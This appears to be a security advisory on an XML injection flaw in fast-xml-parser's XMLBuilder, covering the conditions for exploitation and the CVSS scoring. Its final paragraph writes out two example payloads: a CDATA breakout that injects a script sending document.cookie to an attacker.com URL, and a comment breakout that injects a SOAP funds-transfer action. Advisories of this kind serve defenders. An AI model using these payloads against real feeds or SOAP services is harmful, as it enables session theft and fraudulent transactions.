fast-xml-parser CVE-2026-41650

Exploitation requires that the XMLBuilder is configured with commentPropName and/or cdataPropName options (non-default, optional settings), AND user-controlled or attacker-influenced data flows into those properties during XML generation, AND the generated XML is delivered to an XML parser, browser, or SOAP processor in a context where injected elements can be interpreted (browser-based RSS reader, SVG viewer, or SOAP processor that parses the output). If XMLBuilder is used only for internal backend XML generation not exposed to browsers or secondary parsers, practical exploitation impact is reduced. Exploitation does NOT require authentication to XMLBuilder itself; the vulnerability is in the output generation, not access control. The UI:R requirement means the injected XML must reach a user or automated system that processes it (e.g., visiting a malicious RSS feed link, opening an SVG attachment, or a SOAP client parsing the response).

CVSS 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) indicates network-exploitable injection requiring user interaction and affecting confidentiality and integrity across scope boundaries, but no availability impact. The presence of UI:R (user interaction required) significantly limits real-world exploitation; the attacker must convince a user to interact with injected content (click a malicious RSS feed link, open an SVG file, etc.) rather than achieving direct remote code execution. The vulnerability is confirmed by proof-of-concept code demonstrating successful injection in comment, CDATA, and SOAP scenarios. No public exploit code or CISA KEV listing identified, indicating limited widespread weaponization to date. Risk is highest for applications that dynamically generate XML (RSS feeds, SOAP messages, SVG graphics) from untrusted user input and deliver that XML to browsers or SOAP clients; lower risk in backend-only XML processing where output is not interpreted as executable content. The CVSS scope change (S:C) reflects that injection can affect systems beyond the immediate XML parser application.

An attacker discovers that a web application generates RSS feeds using XMLBuilder with user-supplied article descriptions stored in CDATA sections. The attacker submits a crafted article description containing ]]><script>fetch('https://attacker.com/steal?c='+document.cookie)</script><![CDATA[, which breaks out of the CDATA context. When RSS subscribers import the feed into a web-based RSS reader, the injected script executes in the reader's browser context, stealing authentication cookies. Alternatively, an attacker exploits a SOAP-based API that incorporates user comments into SOAP message comments; by injecting --><soap:Body><Action>transferFunds</Action><Amount>999999</Amount></soap:Body><!--, they cause a secondary XML parser or SOAP processor to interpret the injected elements as legitimate SOAP actions.